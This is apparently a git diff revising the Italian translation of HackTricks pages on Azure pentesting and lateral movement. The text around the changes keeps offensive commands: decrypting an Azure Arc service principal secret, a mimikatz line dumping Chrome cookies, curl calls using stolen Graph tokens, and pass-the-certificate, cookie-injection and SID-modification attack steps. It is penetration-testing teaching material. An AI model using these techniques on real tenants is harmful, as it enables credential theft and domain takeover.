diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index da5ac6d46..57ba34a56 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -1,11 +1,11 @@ -# Az - Enumeration Tools +# Az - Strumenti di Enumerazione {{#include ../../banners/hacktricks-training.md}} -## Installare PowerShell in Linux +## Installa PowerShell in Linux > [!TIP] -> In linux è necessario installare PowerShell Core: +> In Linux è necessario installare PowerShell Core: > > ```bash > sudo apt-get update @@ -26,7 +26,7 @@ > curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash > ``` -## Installare PowerShell in MacOS +## Installa PowerShell in MacOS Istruzioni dalla [**documentazione**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): @@ -55,7 +55,7 @@ brew upgrade powershell Segui questo link per le [**istruzioni di installazione¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). -I comandi nella Azure CLI sono strutturati utilizzando un modello di: `az ` +I comandi in Azure CLI sono strutturati utilizzando un modello di: `az ` #### Debug | MitM az cli @@ -93,7 +93,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080" ### Az PowerShell -Azure PowerShell è un modulo con cmdlet per gestire le risorse Azure direttamente dalla riga di comando di PowerShell. +Azure PowerShell è un modulo con cmdlet per gestire le risorse di Azure direttamente dalla riga di comando di PowerShell. Segui questo link per le [**istruzioni di installazione**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). @@ -105,25 +105,25 @@ Utilizzando il parametro **`-Debug`** è possibile vedere tutte le richieste che ```bash Get-AzResourceGroup -Debug ``` -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). +Per eseguire un **MitM** sullo strumento e **controllare tutte le richieste** che sta inviando manualmente, puoi impostare le variabili d'ambiente `HTTPS_PROXY` e `HTTP_PROXY` secondo la [**documentazione**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). ### Microsoft Graph PowerShell -Microsoft Graph PowerShell è un SDK multipiattaforma che consente l'accesso a tutte le API di Microsoft Graph, inclusi servizi come SharePoint, Exchange e Outlook, utilizzando un'unica endpoint. Supporta PowerShell 7+, autenticazione moderna tramite MSAL, identità esterne e query avanzate. Con un focus sull'accesso con il minor privilegio possibile, garantisce operazioni sicure e riceve aggiornamenti regolari per allinearsi con le ultime funzionalità delle API di Microsoft Graph. +Microsoft Graph PowerShell è un SDK multipiattaforma che consente l'accesso a tutte le API di Microsoft Graph, inclusi servizi come SharePoint, Exchange e Outlook, utilizzando un'unica endpoint. Supporta PowerShell 7+, autenticazione moderna tramite MSAL, identità esterne e query avanzate. Con un focus sull'accesso con il minor privilegio, garantisce operazioni sicure e riceve aggiornamenti regolari per allinearsi con le ultime funzionalità delle API di Microsoft Graph. -Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). +Segui questo link per le [**istruzioni di installazione**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). -Commands in Microsoft Graph PowerShell are structured like: `-Mg ` +I comandi in Microsoft Graph PowerShell sono strutturati come: `-Mg ` #### Debug Microsoft Graph PowerShell -Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: +Utilizzando il parametro **`-Debug`** è possibile vedere tutte le richieste che lo strumento sta inviando: ```bash Get-MgUser -Debug ``` ### ~~**AzureAD Powershell**~~ -Il modulo Azure Active Directory (AD), ora **deprecato**, fa parte di Azure PowerShell per gestire le risorse di Azure AD. Fornisce cmdlet per attività come la gestione di utenti, gruppi e registrazioni di applicazioni in Entra ID. +Il modulo Azure Active Directory (AD), ora **deprecato**, fa parte di Azure PowerShell per la gestione delle risorse di Azure AD. Fornisce cmdlet per attività come la gestione di utenti, gruppi e registrazioni di applicazioni in Entra ID. > [!TIP] > Questo è sostituito da Microsoft Graph PowerShell diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index a5b714368..eb35c8b9a 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -30,8 +30,8 @@ In Azure AD, ci sono diversi tipi di token con limitazioni specifiche: - **Access tokens**: Utilizzati per accedere a API e risorse come Microsoft Graph. Sono legati a un client e a una risorsa specifici. - **Refresh tokens**: Emessi alle applicazioni per ottenere nuovi access tokens. Possono essere utilizzati solo dall'applicazione a cui sono stati emessi o da un gruppo di applicazioni. -- **Primary Refresh Tokens (PRT)**: Utilizzati per il Single Sign-On su dispositivi Azure AD joined, registrati o hybrid joined. Possono essere utilizzati nei flussi di accesso del browser e per accedere a applicazioni mobili e desktop sul dispositivo. -- **Windows Hello for Business keys (WHFB)**: Utilizzati per l'autenticazione senza password. Viene utilizzato per ottenere Primary Refresh Tokens. +- **Primary Refresh Tokens (PRT)**: Utilizzati per il Single Sign-On su dispositivi Azure AD joined, registrati o hybrid joined. Possono essere utilizzati nei flussi di accesso del browser e per accedere ad applicazioni mobili e desktop sul dispositivo. +- **Windows Hello for Business keys (WHFB)**: Utilizzati per l'autenticazione senza password. Viene utilizzato per ottenere i Primary Refresh Tokens. Il tipo di token più interessante è il Primary Refresh Token (PRT). @@ -56,7 +56,7 @@ Dalla compromissione di **AD** alla compromissione del **Cloud** e dalla comprom #### [Roadtx](https://github.com/dirkjanm/ROADtools) -Questo strumento consente di eseguire diverse azioni come registrare una macchina in Azure AD per ottenere un PRT e utilizzare PRT (legittimi o rubati) per accedere a risorse in diversi modi. Questi non sono attacchi diretti, ma facilitano l'uso dei PRT per accedere a risorse in modi diversi. Trova ulteriori informazioni in [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) +Questo strumento consente di eseguire diverse azioni come registrare una macchina in Azure AD per ottenere un PRT e utilizzare PRT (legittimi o rubati) per accedere a risorse in vari modi. Questi non sono attacchi diretti, ma facilitano l'uso dei PRT per accedere a risorse in modi diversi. Trova ulteriori informazioni in [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) ## Riferimenti diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index efc5443d2..28f39b16d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -4,7 +4,7 @@ ### Identifying the Issues -Azure Arc consente l'integrazione di nuovi server interni (server del dominio unito) in Azure Arc utilizzando il metodo del Group Policy Object. Per facilitare ciò, Microsoft fornisce un toolkit di distribuzione necessario per avviare la procedura di onboarding. All'interno del file ArcEnableServerGroupPolicy.zip, si possono trovare i seguenti script: DeployGPO.ps1, EnableAzureArc.ps1 e AzureArcDeployment.psm1. +Azure Arc consente l'integrazione di nuovi server interni (server del dominio uniti) in Azure Arc utilizzando il metodo Group Policy Object. Per facilitare questo, Microsoft fornisce un toolkit di distribuzione necessario per avviare la procedura di onboarding. All'interno del file ArcEnableServerGroupPolicy.zip, si possono trovare i seguenti script: DeployGPO.ps1, EnableAzureArc.ps1 e AzureArcDeployment.psm1. Quando viene eseguito, lo script DeployGPO.ps1 esegue le seguenti azioni: @@ -13,7 +13,7 @@ Quando viene eseguito, lo script DeployGPO.ps1 esegue le seguenti azioni: Quando si esegue questo script, gli amministratori di sistema devono fornire due parametri principali: **ServicePrincipalId** e **ServicePrincipalClientSecret**. Inoltre, richiede altri parametri come il dominio, il FQDN del server che ospita la condivisione e il nome della condivisione. Ulteriori dettagli come l'ID del tenant, il gruppo di risorse e altre informazioni necessarie devono essere forniti allo script. -Un segreto crittografato viene generato nella directory AzureArcDeploy sulla condivisione specificata utilizzando la crittografia DPAPI-NG. Il segreto crittografato è memorizzato in un file chiamato encryptedServicePrincipalSecret. Prove di ciò possono essere trovate nello script DeployGPO.ps1, dove la crittografia viene eseguita chiamando ProtectBase64 con $descriptor e $ServicePrincipalSecret come input. Il descriptor consiste negli SID dei gruppi Domain Computer e Domain Controller, garantendo che il ServicePrincipalSecret possa essere decrittografato solo dai Domain Controllers e dai gruppi di sicurezza Domain Computers, come indicato nei commenti dello script. +Un segreto crittografato viene generato nella directory AzureArcDeploy sulla condivisione specificata utilizzando la crittografia DPAPI-NG. Il segreto crittografato è memorizzato in un file chiamato encryptedServicePrincipalSecret. Prova di questo può essere trovata nello script DeployGPO.ps1, dove la crittografia viene eseguita chiamando ProtectBase64 con $descriptor e $ServicePrincipalSecret come input. Il descriptor consiste negli SID dei gruppi Domain Computer e Domain Controller, garantendo che il ServicePrincipalSecret possa essere decrittografato solo dai Domain Controllers e dai gruppi di sicurezza Domain Computers, come indicato nei commenti dello script. ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -30,7 +30,7 @@ Abbiamo le seguenti condizioni: 2. Abbiamo la capacità di creare o assumere il controllo di un account computer all'interno di Active Directory. 3. Abbiamo scoperto una condivisione di rete contenente la directory AzureArcDeploy. -Ci sono diversi metodi per ottenere un account macchina all'interno di un ambiente AD. Uno dei più comuni è sfruttare il quota degli account macchina. Un altro metodo implica compromettere un account macchina attraverso ACL vulnerabili o varie altre configurazioni errate. +Ci sono diversi metodi per ottenere un account macchina all'interno di un ambiente AD. Uno dei più comuni è sfruttare il quota degli account macchina. Un altro metodo prevede il compromesso di un account macchina attraverso ACL vulnerabili o varie altre configurazioni errate. ```powershell Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose @@ -52,7 +52,7 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer $ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret) $ebs ``` -Alternativamente, possiamo utilizzare [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). +In alternativa, possiamo utilizzare [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). A questo punto, possiamo raccogliere le informazioni rimanenti necessarie per connetterci ad Azure dal file ArcInfo.json, che è memorizzato sulla stessa condivisione di rete del file encryptedServicePrincipalSecret. Questo file contiene dettagli come: TenantId, servicePrincipalClientId, ResourceGroup e altro. Con queste informazioni, possiamo utilizzare Azure CLI per autenticarsi come il service principal compromesso. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index a1614f7bb..b043fa57d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -6,9 +6,9 @@ ### Azure CLI (Interfaccia della Riga di Comando) -I token e i dati sensibili sono archiviati localmente da Azure CLI, sollevando preoccupazioni di sicurezza: +I token e i dati sensibili sono memorizzati localmente da Azure CLI, sollevando preoccupazioni di sicurezza: -1. **Token di Accesso**: Archiviati in testo semplice all'interno di `accessTokens.json` situato in `C:\Users\\.Azure`. +1. **Token di Accesso**: Memorizzati in testo semplice all'interno di `accessTokens.json` situato in `C:\Users\\.Azure`. 2. **Informazioni sull'Abbonamento**: `azureProfile.json`, nella stessa directory, contiene i dettagli dell'abbonamento. 3. **File di Log**: La cartella `ErrorRecords` all'interno di `.azure` potrebbe contenere log con credenziali esposte, come: - Comandi eseguiti con credenziali incorporate. @@ -16,11 +16,11 @@ I token e i dati sensibili sono archiviati localmente da Azure CLI, sollevando p ### Azure PowerShell -Azure PowerShell archivia anche token e dati sensibili, che possono essere accessibili localmente: +Azure PowerShell memorizza anche token e dati sensibili, che possono essere accessibili localmente: -1. **Token di Accesso**: `TokenCache.dat`, situato in `C:\Users\\.Azure`, archivia i token di accesso in testo semplice. -2. **Segreti del Principale di Servizio**: Questi sono archiviati non crittografati in `AzureRmContext.json`. -3. **Funzione di Salvataggio del Token**: Gli utenti hanno la possibilità di persistere i token utilizzando il comando `Save-AzContext`, che dovrebbe essere usato con cautela per prevenire accessi non autorizzati. +1. **Token di Accesso**: `TokenCache.dat`, situato in `C:\Users\\.Azure`, memorizza i token di accesso in testo semplice. +2. **Segreti del Principale di Servizio**: Questi sono memorizzati non crittografati in `AzureRmContext.json`. +3. **Funzione di Salvataggio del Token**: Gli utenti hanno la possibilità di persistere i token utilizzando il comando `Save-AzContext`, che dovrebbe essere utilizzato con cautela per prevenire accessi non autorizzati. ## Strumenti Automatici per Trovarli diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index 541b0890f..7c06b156f 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -9,7 +9,7 @@ In macchine collegate ad Azure, è possibile autenticarsi da una macchina all'al In termini super semplificati: - La macchina (client) che avvia la connessione **ha bisogno di un certificato da Azure AD per un utente**. -- Il client crea un'intestazione JSON Web Token (JWT) contenente PRT e altri dettagli, la firma utilizzando la chiave derivata (utilizzando la chiave di sessione e il contesto di sicurezza) e **la invia ad Azure AD**. +- Il client crea un'intestazione JSON Web Token (JWT) contenente PRT e altri dettagli, la firma utilizzando la chiave derivata (utilizzando la chiave di sessione e il contesto di sicurezza) e **la invia ad Azure AD** - Azure AD verifica la firma JWT utilizzando la chiave di sessione del client e il contesto di sicurezza, controlla la validità del PRT e **risponde** con il **certificato**. In questo scenario e dopo aver raccolto tutte le informazioni necessarie per un attacco [**Pass the PRT**](pass-the-prt.md): @@ -24,7 +24,7 @@ In questo scenario e dopo aver raccolto tutte le informazioni necessarie per un ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` -I certificati dureranno quanto il PRT. Per utilizzare il certificato puoi usare lo strumento python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) che **autenticherà** la macchina remota, eseguirà **PSEXEC** e **aprirà un CMD** sulla macchina vittima. Questo ci permetterà di utilizzare di nuovo Mimikatz per ottenere il PRT di un altro utente. +I certificati dureranno quanto il PRT. Per utilizzare il certificato puoi usare lo strumento python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) che **autentica** alla macchina remota, esegue **PSEXEC** e **apre un CMD** sulla macchina vittima. Questo ci permetterà di usare di nuovo Mimikatz per ottenere il PRT di un altro utente. ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index cbbec85f6..8f930d3d0 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -26,7 +26,7 @@ mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrom ``` Per Azure, ci interessano i cookie di autenticazione tra cui **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** e **`ESTSAUTHLIGHT`**. Questi sono presenti perché l'utente è stato attivo su Azure di recente. -Basta navigare su login.microsoftonline.com e aggiungere il cookie **`ESTSAUTHPERSISTENT`** (generato dall'opzione "Rimani connesso") o **`ESTSAUTH`**. E sarai autenticato. +Basta navigare su login.microsoftonline.com e aggiungere il cookie **`ESTSAUTHPERSISTENT`** (generato dall'opzione “Rimani connesso”) o **`ESTSAUTH`**. E sarai autenticato. ## Riferimenti diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index d2807058a..4a0d4c125 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -2,6 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Controlla il post su** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) anche se un altro post che spiega lo stesso può essere trovato in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +**Controlla il post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) anche se un altro post che spiega lo stesso può essere trovato in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index 10d88a2b7..cf3faf36d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -30,6 +30,6 @@ curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sit ┌──(magichk㉿black-pearl)-[~] └─$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` -**Nota che questi tipi di access token possono essere trovati anche all'interno di altri processi.** +**Nota che questi tipi di token di accesso possono essere trovati anche all'interno di altri processi.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index 4088b3038..dc0889d9e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -8,7 +8,7 @@ ### Fiducia -Quando viene stabilita una fiducia con Azure AD, un **Read Only Domain Controller (RODC) viene creato nell'AD.** L'**account computer RODC**, chiamato **`AzureADKerberos$`**. Inoltre, un account secondario `krbtgt` chiamato **`krbtgt_AzureAD`**. Questo account contiene le **chiavi Kerberos** utilizzate per i ticket che Azure AD crea. +Quando viene stabilita una fiducia con Azure AD, un **Read Only Domain Controller (RODC) viene creato nell'AD.** L'**account computer RODC**, chiamato **`AzureADKerberos$`**. Inoltre, viene creato un account secondario `krbtgt` chiamato **`krbtgt_AzureAD`**. Questo account contiene le **chiavi Kerberos** utilizzate per i ticket che Azure AD crea. Pertanto, se questo account viene compromesso, potrebbe essere possibile impersonare qualsiasi utente... anche se ciò non è vero perché questo account è impedito dal creare ticket per qualsiasi gruppo privilegiato AD comune come Domain Admins, Enterprise Admins, Administrators... @@ -28,19 +28,19 @@ Poiché potrebbero esserci servizi che non supportano l'autenticazione kerberos Quando AzureAD genera un **TGT parziale**, utilizzerà i dettagli che ha sull'utente. Pertanto, se un Global Admin potesse modificare dati come l'**identificatore di sicurezza e il nome dell'utente in AzureAD**, quando richiede un TGT per quell'utente, l'**identificatore di sicurezza sarebbe diverso**. -Non è possibile farlo tramite Microsoft Graph o Azure AD Graph, ma è possibile utilizzare l'**API che Active Directory Connect** utilizza per creare e aggiornare gli utenti sincronizzati, che possono essere utilizzati dai Global Admins per **modificare il nome SAM e il SID di qualsiasi utente ibrido**, e poi se ci autentichiamo, otteniamo un TGT parziale contenente il SID modificato. +Non è possibile farlo tramite Microsoft Graph o Azure AD Graph, ma è possibile utilizzare l'**API che Active Directory Connect** utilizza per creare e aggiornare utenti sincronizzati, che possono essere utilizzati dai Global Admins per **modificare il nome SAM e il SID di qualsiasi utente ibrido**, e poi se ci autentichiamo, otteniamo un TGT parziale contenente il SID modificato. Nota che possiamo fare questo con AADInternals e aggiornare gli utenti sincronizzati tramite il cmdlet [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a). ### Prerequisiti dell'attacco -Il successo dell'attacco e l'ottenimento dei privilegi di Domain Admin dipendono dal soddisfacimento di determinati prerequisiti: +Il successo dell'attacco e il conseguimento dei privilegi di Domain Admin dipendono dal soddisfacimento di determinati prerequisiti: - La capacità di alterare gli account tramite l'API di sincronizzazione è cruciale. Questo può essere ottenuto avendo il ruolo di Global Admin o possedendo un account di sincronizzazione AD Connect. In alternativa, il ruolo di Hybrid Identity Administrator sarebbe sufficiente, poiché consente di gestire AD Connect e stabilire nuovi account di sincronizzazione. -- La presenza di un **account ibrido** è essenziale. Questo account deve essere modificabile con i dettagli dell'account vittima e deve anche essere accessibile per l'autenticazione. +- La presenza di un **account ibrido** è essenziale. Questo account deve essere modificabile con i dettagli dell'account vittima e deve essere accessibile per l'autenticazione. - L'identificazione di un **account vittima target** all'interno di Active Directory è una necessità. Sebbene l'attacco possa essere eseguito su qualsiasi account già sincronizzato, il tenant Azure AD non deve aver replicato gli identificatori di sicurezza on-premises, necessitando la modifica di un account non sincronizzato per procurare il ticket. - Inoltre, questo account dovrebbe possedere privilegi equivalenti a quelli di Domain Admin ma non deve essere un membro dei gruppi tipici di amministratori AD per evitare la generazione di TGT non validi da parte del RODC di AzureAD. -- L'obiettivo più adatto è l'**account Active Directory utilizzato dal servizio AD Connect Sync**. Questo account non è sincronizzato con Azure AD, lasciando il suo SID come un obiettivo valido, e possiede intrinsecamente privilegi equivalenti a quelli di Domain Admin a causa del suo ruolo nella sincronizzazione degli hash delle password (supponendo che la Password Hash Sync sia attiva). Per i domini con installazione espressa, questo account è prefissato con **MSOL\_**. Per altri casi, l'account può essere individuato enumerando tutti gli account dotati di privilegi di Replica Directory sull'oggetto dominio. +- Il target più adatto è l'**account Active Directory utilizzato dal servizio AD Connect Sync**. Questo account non è sincronizzato con Azure AD, lasciando il suo SID come un target valido, e possiede intrinsecamente privilegi equivalenti a quelli di Domain Admin a causa del suo ruolo nella sincronizzazione degli hash delle password (supponendo che la Password Hash Sync sia attiva). Per i domini con installazione espressa, questo account è prefissato con **MSOL\_**. Per altri casi, l'account può essere individuato enumerando tutti gli account dotati di privilegi di Replica Directory sull'oggetto dominio. ### L'attacco completo diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index fe9faeaa8..9a0d54eab 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -1,9 +1,9 @@ -# Az - Default Applications +# Az - Applicazioni Predefinite {{#include ../../../../banners/hacktricks-training.md}} **Controlla la tecnica in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) e [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -Il post del blog discute una vulnerabilità di escalation dei privilegi in Azure AD, che consente agli Application Admins o agli account di sincronizzazione On-Premise compromessi di elevare i privilegi assegnando credenziali alle applicazioni. La vulnerabilità, derivante dal comportamento "per design" della gestione delle applicazioni e dei service principal di Azure AD, colpisce in particolare le applicazioni predefinite di Office 365. Sebbene sia stata segnalata, la questione non è considerata una vulnerabilità da Microsoft a causa della documentazione del comportamento di assegnazione dei diritti di amministratore. Il post fornisce approfondimenti tecnici dettagliati e consiglia revisioni regolari delle credenziali dei service principal negli ambienti Azure AD. Per ulteriori informazioni dettagliate, puoi visitare il post originale del blog. +Il post del blog discute una vulnerabilità di escalation dei privilegi in Azure AD, che consente agli Amministratori delle Applicazioni o agli Account di Sincronizzazione On-Premise compromessi di elevare i privilegi assegnando credenziali alle applicazioni. La vulnerabilità, derivante dal comportamento "di design" della gestione delle applicazioni e dei principi di servizio di Azure AD, colpisce in particolare le applicazioni predefinite di Office 365. Sebbene sia stata segnalata, la questione non è considerata una vulnerabilità da Microsoft a causa della documentazione del comportamento di assegnazione dei diritti di amministratore. Il post fornisce approfondimenti tecnici dettagliati e consiglia revisioni regolari delle credenziali dei principi di servizio negli ambienti Azure AD. Per ulteriori informazioni dettagliate, puoi visitare il post originale del blog. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index 520459a83..3617672ef 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Sincronizzazione degli utenti AzureAD nell'on-prem per escalare dall'on-prem ad AzureAD +## Sincronizzazione degli utenti AzureAD con l'on-prem per l'escalation da on-prem ad AzureAD Per sincronizzare un nuovo utente **da AzureAD all'AD on-prem** ci sono i seguenti requisiti: @@ -12,9 +12,9 @@ Per sincronizzare un nuovo utente **da AzureAD all'AD on-prem** ci sono i seguen ```powershell Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` -Quando un utente come questi viene trovato in AzureAD, per **accederlo dall'AD on-prem** è sufficiente **creare un nuovo account** con il **proxyAddress** l'email SMTP. +Quando un utente come questi viene trovato in AzureAD, per **accedervi dall'AD on-prem** è sufficiente **creare un nuovo account** con il **proxyAddress** l'email SMTP. -Automaticamente, questo utente sarà **sincronizzato da AzureAD all'utente AD on-prem**. +In automatico, questo utente sarà **sincronizzato da AzureAD all'utente AD on-prem**. > [!CAUTION] > Nota che per eseguire questo attacco **non hai bisogno di Domain Admin**, hai solo bisogno di permessi per **creare nuovi utenti**. @@ -23,7 +23,7 @@ Automaticamente, questo utente sarà **sincronizzato da AzureAD all'utente AD on > > Inoltre, è stato segnalato che **la sincronizzazione degli account non è più possibile per gli account admin**. -## References +## Riferimenti - [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index 31a27c8f9..1f93706e3 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -25,7 +25,7 @@ In qualsiasi configurazione di federazione ci sono tre parti:
